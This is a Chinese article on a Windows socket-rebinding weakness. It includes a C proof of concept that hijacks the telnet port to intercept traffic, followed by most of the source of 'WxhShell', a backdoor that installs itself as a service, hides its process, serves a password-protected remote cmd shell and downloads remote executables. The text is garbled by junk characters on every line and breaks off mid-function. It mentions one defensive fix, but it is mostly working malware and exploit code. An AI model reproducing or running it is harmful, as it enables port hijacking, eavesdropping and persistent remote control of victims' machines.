在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
rG*Zp7{ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
mgxoM|n6 ufekhj saddr.sin_family = AF_INET;
7jL3mI;n%; 3j
iSvrfI saddr.sin_addr.s_addr = htonl(INADDR_ANY);
tuF
hPqe { %@jL?u bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
`Z:5 E <cn{S` 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
L| uoFG{ =6sL}$ 这意味着什么?意味着可以进行如下的攻击:
Pgg\(D#X` ub0uxvz 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
gI SP . >5Rcj(-&l 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
XJG"Zr9 RN3-:Zd_X 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
(ugB3o L-T3{I,3 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
F.0CJ7s
30fsVwE2 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
23AMrDF=N dMnJ)R 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
?Q]{P] Gx]J6Z8 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
'9Hah IP]"D" #include
8 N5ga #include
(A\p5@ht #include
xA-u%Vf7@ #include
Wp[R$/uT DWORD WINAPI ClientThread(LPVOID lpParam);
&Q85B q int main()
eKq`t.*Ft {
VQQtxHTC3 WORD wVersionRequested;
`T
gwa DWORD ret;
dBKceL v WSADATA wsaData;
KAucSd` BOOL val;
jJxV)AIY SOCKADDR_IN saddr;
JToc("V SOCKADDR_IN scaddr;
&GC`4!H int err;
dvAvG.;U SOCKET s;
w K_I" SOCKET sc;
"AzA|zk')" int caddsize;
0?tn.<'B8T HANDLE mt;
7eh<>X!TX DWORD tid;
?5A!/`E&% wVersionRequested = MAKEWORD( 2, 2 );
,&1DKx err = WSAStartup( wVersionRequested, &wsaData );
d&dp#)._8 if ( err != 0 ) {
&3Q!'pJJ printf("error!WSAStartup failed!\n");
~ "^]\3# return -1;
=X0"!y" }
YMidSfi saddr.sin_family = AF_INET;
q^e4 wIv_Z^%V //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Tq r]5 r
pv`% saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
kXmnLxhS/ saddr.sin_port = htons(23);
hf/6VlZ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~qG`~/7 {
uK:?6>H printf("error!socket failed!\n");
F3aOKV^ return -1;
0jlwL }
{g:I5
A# val = TRUE;
ndIf1} //SO_REUSEADDR选项就是可以实现端口重绑定的
=Mb1)^m if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
iG\] {
dA`. printf("error!setsockopt failed!\n");
]pZxbs&Vb return -1;
^=H. .pr }
S+mZ.aFS0z //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
~i4h.ZLj //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
1mLd_]F'F //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
cH&-/|N F
;o ^. if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
z"b}V01F# {
],lrT0_cT ret=GetLastError();
=
h
_>OA printf("error!bind failed!\n");
{R2gz]v4 return -1;
u*I=. }
CLb~6LD listen(s,2);
GWNLET while(1)
{ *"I4 {
{xw"t9(fE caddsize = sizeof(scaddr);
1^*M*>&d< //接受连接请求
z%Xz*uu(| sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
zHI_U\"8D if(sc!=INVALID_SOCKET)
=@ '>|-w| {
BI'} mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
`uO(#au,U if(mt==NULL)
G8w<^z>pTg {
Mpfdl65 printf("Thread Creat Failed!\n");
T ~9)0A"] break;
S1iF1X(+?X }
pZS0;T]W, }
eY)JuJ? CloseHandle(mt);
03WLVP@ }
woctnT%"Q/ closesocket(s);
6*] g)m WSACleanup();
-R^OYgF return 0;
Svs!C+:le }
Osb#<9{} DWORD WINAPI ClientThread(LPVOID lpParam)
:u%Jrc(W {
td:GZ % SOCKET ss = (SOCKET)lpParam;
kEH(\3,l SOCKET sc;
wj-=#gyAoo unsigned char buf[4096];
}9&Z#1/ SOCKADDR_IN saddr;
CCCd=s. long num;
tOJK~%' DWORD val;
4z^ ?3@:K DWORD ret;
Z/#&c //如果是隐藏端口应用的话,可以在此处加一些判断
v99gI%TA' //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
P}] xz Vy saddr.sin_family = AF_INET;
.eg?FB'7 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
C
#A sA saddr.sin_port = htons(23);
$\S;f"IM. if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~uF%* {
Htg,^d 5 printf("error!socket failed!\n");
C+,JLK return -1;
pvCf4pf~ }
T6gugDQ~. val = 100;
PGaB U3 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
zYCrfr {
i+x$Y)= ret = GetLastError();
G~SgI>Q return -1;
[^rT: %Z }
[0M2`x4` if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
4fK(<2i {
[D8u.8q ret = GetLastError();
Q}pnb3J>T return -1;
V'kCd4 }
D(EY"s37 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
E\3fL"lM {
!H,_*u. printf("error!socket connect failed!\n");
\+]U1^ closesocket(sc);
5_bIc=L1 closesocket(ss);
^
:%"Z& return -1;
<M(Jqb cWa }
{ o2pCH while(1)
5Ocd2T' {
+(v<_#wR- //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
qH3<,s* //如果是嗅探内容的话,可以再此处进行内容分析和记录
H3$~S ' //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
WD wW` num = recv(ss,buf,4096,0);
gmU_# J%~ if(num>0)
h/I'9&J>* send(sc,buf,num,0);
I!
s&m%s else if(num==0)
^tWt"GgC break;
udRum7XW3 num = recv(sc,buf,4096,0);
u/`jb2eEU: if(num>0)
aNZJs<3;'D send(ss,buf,num,0);
3kAmRU else if(num==0)
yv.Y-c= break;
eBZa9X$ }
cY%[UK $l closesocket(ss);
XkB^.[B closesocket(sc);
W/z\j/Rgc return 0 ;
?\_N*NEtK }
S >E|A% Y)?dq( "`b"PQ<x ==========================================================
I6bekOvP <SiD m-=E 下边附上一个代码,,WXhSHELL
3|$>2IRq 1!u}~E_ ==========================================================
{fkW0VB; t;[L-|^ #include "stdafx.h"
RR2Q +UzFHiGy# #include <stdio.h>
]SNA2?q #include <string.h>
Mx?{[zT" #include <windows.h>
Sq9I]A #include <winsock2.h>
\/ rK0|2A #include <winsvc.h>
O>zPWVwa #include <urlmon.h>
[kdt]+'+ F-!,U)
#pragma comment (lib, "Ws2_32.lib")
#+mt}w/ #pragma comment (lib, "urlmon.lib")
,@+7(W MQL1 />j; #define MAX_USER 100 // 最大客户端连接数
it=4cHT #define BUF_SOCK 200 // sock buffer
}*WNrS">S #define KEY_BUFF 255 // 输入 buffer
aq~g54 'r KDw06/ #define REBOOT 0 // 重启
g.AMCM?z #define SHUTDOWN 1 // 关机
wzX
1!? ("2ukHc #define DEF_PORT 5000 // 监听端口
l,FK\ @"M%ZnFu #define REG_LEN 16 // 注册表键长度
Qo*,2B9R L #define SVC_LEN 80 // NT服务名长度
BMw_F)hTO ]+1?T)<! // 从dll定义API
UlBg6 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
s?;rP,{:p typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
. &dh7`l typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
2o0.ttBAqZ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
vn n4 X[L6Av // wxhshell配置信息
+r7uIwi$@ struct WSCFG {
]~my<3j}or int ws_port; // 监听端口
gu+c7qe char ws_passstr[REG_LEN]; // 口令
=NyN.^bwT int ws_autoins; // 安装标记, 1=yes 0=no
uzf@49m]m char ws_regname[REG_LEN]; // 注册表键名
g8 (zvG;Y char ws_svcname[REG_LEN]; // 服务名
|_&Tu#er3 char ws_svcdisp[SVC_LEN]; // 服务显示名
e:9CD- char ws_svcdesc[SVC_LEN]; // 服务描述信息
}}a<!L,{ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
@\[UZVmBw int ws_downexe; // 下载执行标记, 1=yes 0=no
"%O,*t char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
w(w%~;\kLP char ws_filenam[SVC_LEN]; // 下载后保存的文件名
d4"KM+EP? 3kxI'0&T };
D]+0X8@kH7
kyQUaFG // default Wxhshell configuration
SvUC8y struct WSCFG wscfg={DEF_PORT,
x:TBZh?@$ "xuhuanlingzhe",
zk+&5d4( 1,
|*4)G6J@n "Wxhshell",
P8DT2|Z6f] "Wxhshell",
9Y:JA]U&8 "WxhShell Service",
65FdA-4 "Wrsky Windows CmdShell Service",
iz'#K?PF_ "Please Input Your Password: ",
1jdv<\U 1,
,E]u[7A "
http://www.wrsky.com/wxhshell.exe",
Wsb=SM7; "Wxhshell.exe"
5oz[Njq4 };
()=u#y 0sjw`<ic // 消息定义模块
zV)Ob0M7U char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
m?;aTSa char *msg_ws_prompt="\n\r? for help\n\r#>";
po~l8p> char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
+MG(YP/l char *msg_ws_ext="\n\rExit.";
)A]E:]2 char *msg_ws_end="\n\rQuit.";
te?R(& char *msg_ws_boot="\n\rReboot...";
.lMIJN&/ char *msg_ws_poff="\n\rShutdown...";
V1R=` char *msg_ws_down="\n\rSave to ";
.e2qa Hu$]V*rAG char *msg_ws_err="\n\rErr!";
@:$zReS2 char *msg_ws_ok="\n\rOK!";
|CME:;{T lf3:Z5*&> char ExeFile[MAX_PATH];
#4h_(Y int nUser = 0;
!:Lb^C;/ HANDLE handles[MAX_USER];
1x+YgL5 int OsIsNt;
uMm/$#E \A`pF'50 SERVICE_STATUS serviceStatus;
(>m3WI$d SERVICE_STATUS_HANDLE hServiceStatusHandle;
o[AQS` /p~Wk4' // 函数声明
8" Z!: =A int Install(void);
${n=1-SMU int Uninstall(void);
xZ2}1D int DownloadFile(char *sURL, SOCKET wsh);
[3`T/Wm int Boot(int flag);
XAuB .)| void HideProc(void);
Ya] qo] int GetOsVer(void);
b&u o^G, int Wxhshell(SOCKET wsl);
G!~[+B void TalkWithClient(void *cs);
<wwcPe} int CmdShell(SOCKET sock);
3 wVN:g7 int StartFromService(void);
%
R~9qO int StartWxhshell(LPSTR lpCmdLine);
jREj]V> 9NwA5TP9_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
)i&9)_ro VOID WINAPI NTServiceHandler( DWORD fdwControl );
v#/Uq?us s MAc+9G9k // 数据结构和表定义
htbN7B( SERVICE_TABLE_ENTRY DispatchTable[] =
WXj}gL` {
}?B=R#5 {wscfg.ws_svcname, NTServiceMain},
\nV|Y=5 {NULL, NULL}
T2#
W=P };
%-@`| Wt+aW // 自我安装
L{$ZL & int Install(void)
>b;fhdd:4 {
E^S[8= char svExeFile[MAX_PATH];
)f4D2c&VE HKEY key;
{N+N4* strcpy(svExeFile,ExeFile);
Vm]ltiTVk Yo:l@( // 如果是win9x系统,修改注册表设为自启动
8:,E=swe if(!OsIsNt) {
-A}*Aa'\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
P/._ tQu6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
y|!%C-P RegCloseKey(key);
Xui${UYN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Y>-|`2Z
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
po_||NIY RegCloseKey(key);
c8mcJAc return 0;
(x9d7$2 }
7G}vQO }
0N.tPF} }
Q[i/] else {
ug!DL=ZW JsOPI] // 如果是NT以上系统,安装为系统服务
}x4,a6^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
,J?Hdy:R if (schSCManager!=0)
~uRG~,{rH {
Ee>P*7*jB SC_HANDLE schService = CreateService
h+|3\>/@9{ (
DsY-JBDvoz schSCManager,
sqHvrI wscfg.ws_svcname,
=tl[?6 wscfg.ws_svcdisp,
s}A)sBsaP3 SERVICE_ALL_ACCESS,
((rk)Q+;v SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
/=4P<&J SERVICE_AUTO_START,
+v%V1lf^~ SERVICE_ERROR_NORMAL,
z^9Yoqog svExeFile,
MJ[#Gq\0R NULL,
th8f NULL,
b3e:F{n
^ NULL,
Y4`MgP8t NULL,
k;:v~7VF NULL
~*-ar 6 );
_)Uw-vhQiT if (schService!=0)
NtMK+y {
L'4ob4r{L CloseServiceHandle(schService);
F.?`<7 CloseServiceHandle(schSCManager);
Oy[1_qfP strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
CtVY;eG strcat(svExeFile,wscfg.ws_svcname);
,LZ6Wu$P if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
L1*P<Cb RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
^pMjii8IZ RegCloseKey(key);
_GK^ 7}u return 0;
xI'<4lo7Z }
\/4ipU. }
&|P@$O> CloseServiceHandle(schSCManager);
;nG"y:qq }
]@1YgV }
XhFa9RC 8%JxXtWW` return 1;
(5{ |']G }
I jN3 jU mnL
\c' // 自我卸载
qEKTSet? int Uninstall(void)
HyXw^ +tsj {
!cw<C* HKEY key;
wo7.y["$ ~6@zXHAS if(!OsIsNt) {
zvL&V
.> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
~\/>b}^uf' RegDeleteValue(key,wscfg.ws_regname);
0CI?[R\ RegCloseKey(key);
}gyJaMA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
VB*N;bM^ RegDeleteValue(key,wscfg.ws_regname);
z
h0 m3|9O RegCloseKey(key);
exV6&bdu return 0;
wXDF7tJh }
t$r^'ZN }
+V1EqC* }
8YraW| H else {
m_~
p G qAm$yfYs` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
k(o[T),_%0 if (schSCManager!=0)
W5(t+$L. {
y4)M,+O5 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
/>q=qkdq0 if (schService!=0)
G;V@oT {
/dhx +K~ if(DeleteService(schService)!=0) {
2F^
%d9`
CloseServiceHandle(schService);
;6t>!2I>C CloseServiceHandle(schSCManager);
PC/fb-J return 0;
%f\{ ] }
GmtMA| CloseServiceHandle(schService);
k);z}`7 }
8,YF>O& CloseServiceHandle(schSCManager);
]R}#3(]1 }
Ri4_zb }
UT [7 J m\7-/e2a return 1;
#h ;j2 }
E!Hq%L!/ xq=+M!V // 从指定url下载文件
F/ 2@%,2n int DownloadFile(char *sURL, SOCKET wsh)
hSaS2RLF {
9:A>a3KOH HRESULT hr;
2 *n2!7jZ* char seps[]= "/";
- t4"BD char *token;
qLKyr@\' char *file;
r\vB-nJ char myURL[MAX_PATH];
twt
Bt L char myFILE[MAX_PATH];
lf0/0KH Vv'
e,m strcpy(myURL,sURL);
( y^oGY; token=strtok(myURL,seps);
n)} J< while(token!=NULL)
4DEsB)%X {
:84ja>`c file=token;
hiaj!&+Q token=strtok(NULL,seps);
G#5Cyu<r! }
@iUzRsl 3`TC* GetCurrentDirectory(MAX_PATH,myFILE);
v Q+}rHf`[ strcat(myFILE, "\\");
3k;U#H strcat(myFILE, file);
vi4 1` send(wsh,myFILE,strlen(myFILE),0);
)&+_T+\ send(wsh,"...",3,0);
BArsj hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
nen6!bw4 if(hr==S_OK)
E{T\51V]% return 0;
b-]E-$Uz else
oHI~-{m3) return 1;
XZcsx uA
C:& }
h\'GL(?DBI Yp 6;Y7^ // 系统电源模块
POH>!lHu int Boot(int flag)
qS&PMQ"$ {
rZu_"bcJ HANDLE hToken;
x~ s> TOKEN_PRIVILEGES tkp;
H; TmG<S 34YYw@?}Y if(OsIsNt) {
Mn>dI@/gM OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
FtM7+>Do. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
z"}k\B-5 tkp.PrivilegeCount = 1;
jm RYL(" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
X]cB`?vR AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
}Bc'(2A;, if(flag==REBOOT) {
?#}=!$p if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
:m8ED[9b return 0;
||`w MWq }
><LIOFqsS else {
Z<jRZH*L if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
{N)\It return 0;
:1_hQeq }
Cb=r 8C }
oge^2 else {
lUUq|Qr if(flag==REBOOT) {
`Kym{og if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
-B4uK return 0;
C$*`c6R }
[7<X&Q else {
zmr=iK if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
^+`vh0TPQ return 0;
&@dMk4BH< }
,Lv}Xku }
c::x.B"w Lom%eoH) return 1;
32~Tf, }
e"r}I!. /lr RbZ // win9x进程隐藏模块
KG>.7xVWV7 void HideProc(void)
!Q.c8GRUQ {
Z6D4VZVF ^{6Y7T] HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
FT|*~_@ if ( hKernel != NULL )
iM8hGQ` {
zNE!m:s pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
yqejd_cd ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
'Dat.@j FreeLibrary(hKernel);
LWVO%@)w }
wW%I < M `W]a
@\EYA return;
T{uktIO/ }
30DpIkf /;OJ=x3i // 获取操作系统版本
N"r ;d+LTL int GetOsVer(void)
_'I9rGlx3 {
'')G6-c/ OSVERSIONINFO winfo;
7y[B[$P winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
_Fz)2h,3 GetVersionEx(&winfo);
Ku&(+e if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
e3S6+H),I return 1;
T&R`s+7 else
8OBvC\% return 0;
2$\f !6p }
s|,]Nb=z/ RLKO0 # // 客户端句柄模块
+vU.#C_2 int Wxhshell(SOCKET wsl)
-g@pJ^>: {
aLsGden| SOCKET wsh;
66|lQE&n struct sockaddr_in client;
dHp6G^Y DWORD myID;
ZzKn,+ vo::y" while(nUser<MAX_USER)
{#[a4@B0 {
"Q/3]hc. int nSize=sizeof(client);
=pk'a_P8- wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
CC)9Ks\ if(wsh==INVALID_SOCKET) return 1;
y.O? c&! r p@= handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
i44:VR| if(handles[nUser]==0)
\6lXsu;I.X closesocket(wsh);
x _2]G' else
ze4/XR nUser++;
,7QnZ=F }
]-}a{z WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
{^\-%3$ Xs!eV return 0;
plf<O5' }
'P~ *cr ?A 4;*V^\',9
// 关闭 socket
mD=?C void CloseIt(SOCKET wsh)
t&&OhHK {
*,Re&N8 closesocket(wsh);
%]R#}amW nUser--;
`Ch6"=t ExitThread(0);
P\M+ZA ; }
w(G(Q>GI HhpP}9P; // 客户端请求句柄
@i`gR% void TalkWithClient(void *cs)
w+MdQ@'5 {
}`MO}Pz l,X;<&-[ SOCKET wsh=(SOCKET)cs;
Qb|dp~K.M char pwd[SVC_LEN];
AH7k|6ku<* char cmd[KEY_BUFF];
fg1y@Dj/& char chr[1];
p/:5bvA int i,j;
S1+#qs{5a .Gv~e!a8 while (nUser < MAX_USER) {
Ym6ec|9; (8*lLZ if(wscfg.ws_passstr) {
`j(+Y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
T2-> //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
$?s^HKF~ //ZeroMemory(pwd,KEY_BUFF);
<G&v i=0;
_4W#6! while(i<SVC_LEN) {
srSTQ\l4 T9$U./69-L // 设置超时
kDz.{Ih fd_set FdRead;
UP`q6]P struct timeval TimeOut;
$YC~02{ FD_ZERO(&FdRead);
$e_ps~{7$ FD_SET(wsh,&FdRead);
Wp]EaYt2D TimeOut.tv_sec=8;
g|zK%tR_P TimeOut.tv_usec=0;
c[YjGx int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
,qfa,O if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Ya_6Zd4O D#$gdjZ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
UQ8x#(`ak pwd
=chr[0]; x3P@AC$\
if(chr[0]==0xd || chr[0]==0xa) { g\l;>
pwd=0; _qg6(
X
break; jgstx3
} Z`*cI
i++; nx4aGS"F:
} BNy"YK$
ZX0c_Mk=
// 如果是非法用户,关闭 socket Y;w]u_
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [s/@z*,M1
} ;1dz?'%V
Zb
2
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @(
t:E`8
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gctaarB&
P&GZe/6Y
while(1) { ]Rye AJ3
/kz&9FM
ZeroMemory(cmd,KEY_BUFF); Wy4^mOv
V\ "5<>+O
// 自动支持客户端 telnet标准 LC{hoq\
j=0; [*G2wP[$
while(j<KEY_BUFF) { X W)A~wPBs
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J$Epj
cmd[j]=chr[0]; Dkb&/k:)
if(chr[0]==0xa || chr[0]==0xd) { @QG1\W'
cmd[j]=0; =M5M;
break; C6w{"[Wv=X
} /6zpVkV
j++; 0I((UA/7Zs
} gcxk'd
yxN!*~BvL
// 下载文件 _zh5KP[{
if(strstr(cmd,"http://")) { CK(ev*@\D,
send(wsh,msg_ws_down,strlen(msg_ws_down),0); tTH%YtG
if(DownloadFile(cmd,wsh)) Bx-,"Z \
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;#9|l=
else k_>{"Rc
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !h!9SE
} ^ kvH/ Y&
else { ef&@aB
>e;STU
switch(cmd[0]) { Jt6J'MOq
bFezTl{M
// 帮助 5V~p@vCx
case '?': { 6# ";W2
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h&bV!M
break; ]Rh(=bg
} 1fv~r@6s
// 安装 i[{]
LiP
case 'i': { J~3T8e#
if(Install()) (Fzh1#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); lzG;F]
else `HG19_Z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4QAIQQS
break; k!=GNRRZE
} r)(BT:2m
// 卸载 ACO4u<M)
case 'r': { VtiqAh}4
if(Uninstall())
IB{ZE/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); WV1 Z
else |HGb.^f?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qLi9ym, ]
break; |7zP8
} _F@p53WE
// 显示 wxhshell 所在路径 "jO3Y/>S
case 'p': { @O}j:b
char svExeFile[MAX_PATH]; sLdUrD%
strcpy(svExeFile,"\n\r"); o?K|[gNi
strcat(svExeFile,ExeFile); 6bKO;^0
send(wsh,svExeFile,strlen(svExeFile),0); Dh No +"!z
break; Sn2Ds)Pfx3
} ll\^9
4]Q
// 重启 k(z<Bm
case 'b': { xg,]M/J
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NK9WrUj)
if(Boot(REBOOT)) =8p+-8M[d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ASZ5;N4u
else { <nTmZ-;
closesocket(wsh); ef}E.Bl
ExitThread(0); 3
9{"T0
} eM=) >zl
break; '0')6zW5s
} c48J!,jCd'
// 关机 %;(|KrUN
case 'd': { _~ZQ b
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xPMyG);
if(Boot(SHUTDOWN)) _:X|R#d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); * \o$-6<
else { ?h )3S7
closesocket(wsh); )^f9[5ee
ExitThread(0); >Ug?O~-
} Cxk$"_
break; _Sgk^i3v
} Uc_`Eh3y
// 获取shell NQ!N"C3u
case 's': { E`uaE=Mdq
CmdShell(wsh); %Mng8r
closesocket(wsh); *76viqY;dE
ExitThread(0); _lPl)8k
break; ?3,64[
} Dg>'5`&
// 退出 $wYuH9(
case 'x': { X!rQ@F3
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8jjk?PUD8
CloseIt(wsh); ~"q,<t
break; 37O#aJ,K
} Uty(sDtu
// 离开 q"+ q
case 'q': { K>R;~
o
send(wsh,msg_ws_end,strlen(msg_ws_end),0); m-'(27
closesocket(wsh); R8[iXXjku
WSACleanup(); #i +P(xV
exit(1); w
<#*O:
break; ECS<l*i57&
} ,/?%y\:J
} "T{~,'T
} adO!Gs9f?
I,<>%Z|'
// 提示信息 \'??
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jn[q<e"
} LPapD@Z
} t}XB|h
!q-:rW?c
return; 762o~vY6$
} yxC Ml.
n4vXm
// shell模块句柄 3j+=3n,
int CmdShell(SOCKET sock) y4/>Ol]
{ PUE'Rr(Q
STARTUPINFO si; )7I.N]=
ZeroMemory(&si,sizeof(si)); :!I)r$
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /m
Q2;*|
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }+{*, z
PROCESS_INFORMATION ProcessInfo; y'_V/w s
char cmdline[]="cmd"; RD6h=n4B
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g<2lPH
return 0; r%y;8$/-
} mo|PrLV
7~kpRa@\P
// 自身启动模式 5mna7BCEb
int StartFromService(void) m0I #
{ -B *<Q[_
typedef struct XWUvP
{ R(2HYZ
DWORD ExitStatus; y\)G7
(
DWORD PebBaseAddress; us\%BxxI9
DWORD AffinityMask; }_a+X
DWORD BasePriority; PTzp;.
ULONG UniqueProcessId; 'YZI>V*
